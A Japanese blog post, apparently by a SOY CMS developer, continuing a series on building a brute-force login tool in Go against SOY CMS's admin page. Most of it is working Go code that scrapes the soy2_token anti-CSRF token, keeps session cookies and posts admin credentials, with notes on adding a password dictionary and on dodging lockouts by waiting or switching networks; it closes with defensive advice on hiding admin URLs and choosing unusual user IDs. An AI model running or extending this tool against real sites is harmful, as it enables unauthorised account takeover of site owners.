前回、Go言語でSOY CMSに対して総当り攻撃の初期段階のコードを書いてみた。
※初期段階:ログインを一度試すだけのコード
しかし、
ログインフォームにトークンのチェックを実装したことにより、
あっけなく無効化した。
ということで、
今回は前回実装したトークンのチェックを通過するように書いてみる。
まずトークンのチェックは何かだけど、
ログイン画面を開いた時、この画面では見えないけど、
フォームのHTMLには、
<input type="hidden" name="soy2_token" value="3fe03b4c628f6af457b439e2ca5708ab">
こんな感じの開く度に変更されるランダムな文字列がある。
ログインをするときに、
IDとパスワードを送信する時にトークンも送ることで、
この画面からログインを試みたということが保証され、
前回みたいな不正なデータ送信を受信出来ない様にする。
これではお手上げか?と思いきや、
この仕組み自体を前回のコードに組み込んでしまえば良いわけ。
開いたブラウザがトークンを保存しておくための仕組みとしてセッションというものを利用する。
セッションについてざっくりと書くと、
ブラウザを開いた時にサーバに値を保持させる(今回はトークン)。
保持させた時にキーを発行して、それをブラウザに渡す。
ブラウザは渡されたキーをクッキーという仕組みで保持する。
次のページを開いた時にセッションに入れた値を使いたい場合は、
ブラウザがキーをサーバに渡してセッションに入れた値を取り出す
というもの。
整理すると、
ログインフォームを開いた時、
サーバはトークンをセッションに入れて、そのセッションのキーをブラウザが保持する。
今回はブラウザはないので、
Goでサーバから渡されたキーを保持しておくクッキーを用意しておけば良いことになる。
というわけで、
そのコードを書いてみると、
package main import ( "bufio" "net/http" "net/url" "regexp" "strings" "sync" ) //CookieJarを自作する type Jar struct { lk sync.Mutex cookies map[string][]*http.Cookie } func NewJar() *Jar { jar := new(Jar) jar.cookies = make(map[string][]*http.Cookie) return jar } func (jar *Jar) SetCookies(u *url.URL, cookies []*http.Cookie) { jar.lk.Lock() jar.cookies[u.Host] = cookies jar.lk.Unlock() } func (jar *Jar) Cookies(u *url.URL) []*http.Cookie { return jar.cookies[u.Host] } func main() { //取得したトークンを格納する変数を定義する var token string //クッキーの準備 jar := NewJar() u := "http://example.com/cms/admin/" user := "admin" pw := "password" //クライアントでクッキーを使用可にする client := http.Client{ Jar: jar, } //soy2_check_tokenを事前に取得しにいってみる resp, err := client.Get(u) if err != nil { panic(err) } s := bufio.NewScanner(resp.Body) for s.Scan() { //HTMLの中からsoy2_tokenの値のタグを探す if i := strings.Index(s.Text(), "soy2_token"); i > 0 { re := regexp.MustCompile("value=\"(.*)\"") //トークンの値を使える様に整形する res := re.FindString(s.Text()) res = strings.Replace(res, "value=", "", 1) token = strings.Trim(res, "\"") } } defer resp.Body.Close() fmt.Println(token) }
これでログインページを開いて、
トークンを取得しつつ、セッションキーも取得するコードが書けた。
どこでセッションキーを取得しているかこれだとわからないけど、
Client構造体にsetCookieメソッドを持った自作のクッキーをセットしておけば、
client.Get(u)でログインページのHTMLを取得したと同時に
サーバから発行されるセッションキーを自作のクッキーが保持してくれる。
あとはこのコードに前回作成したコード + トークンの値を追加すれば良い。
追加したコードが下記になる。
package main import ( "bufio" "fmt" "net/http" "net/url" "regexp" "strings" "sync" ) type Jar struct { lk sync.Mutex cookies map[string][]*http.Cookie } func NewJar() *Jar { jar := new(Jar) jar.cookies = make(map[string][]*http.Cookie) return jar } func (jar *Jar) SetCookies(u *url.URL, cookies []*http.Cookie) { jar.lk.Lock() jar.cookies[u.Host] = cookies jar.lk.Unlock() } func (jar *Jar) Cookies(u *url.URL) []*http.Cookie { return jar.cookies[u.Host] } func main() { var token string jar := NewJar() u := "http://example.com/cms/admin/" user := "admin" pw := "password" client := http.Client{ Jar: jar, } resp, _ := client.Get(u) s := bufio.NewScanner(resp.Body) for s.Scan() { if i := strings.Index(s.Text(), "soy2_token"); i > 0 { re := regexp.MustCompile("value=\"(.*)\"") res := re.FindString(s.Text()) res = strings.Replace(res, "value=", "", 1) token = strings.Trim(res, "\"") } } resp.Body.Close() params := url.Values{} //GETで取得したトークンを追加 params.Add("soy2_token", token) params.Add("Auth[name]", user) params.Add("Auth[password]", pw) resp, _ = client.PostForm(u, params) defer resp.Body.Close() s = bufio.NewScanner(resp.Body) for s.Scan() { if i := strings.Index(s.Text(), "failed_message"); i > 0 { fmt.Println("ログインに失敗している") } } }
これで終了。
実行してみて結果が前回と同じであることを確認する。
最後に辞書データと繰り返しを追加すれば、
簡易的な総当り攻撃のプログラムとなる。
※ログイン成功時にIDとパスワードを記録しておく機能も必要
ここからわかることだが、
管理画面へのログインのURLさえ知ってしまうと攻撃する自体は容易い。
何回か間違えるとログインフォーム自体をアクセス不可にするというシステムもあるらしいけど、
時間をおいたり、接続するネット環境を変えれば攻撃を再開できるので、
ログインフォームのURLだけは特定されない様にする必要がある。
標準機能で管理画面のURLを決めてしまうCMSが出回っているけど、
そんなのを使うのはナンセンスだろ。
というわけで、
ログインフォームのURLは複雑なものにしましょう。
あとは、
パスワードを複雑なものにするのは常識なので、
IDの方をadminとかsaitoとか使わず、
aewojaweeaw_saitoとか辞書データに入りにくいものにしておいたら良いかもね。
※IDはadminや所属するメンバーの名前を使うことが多いそうです。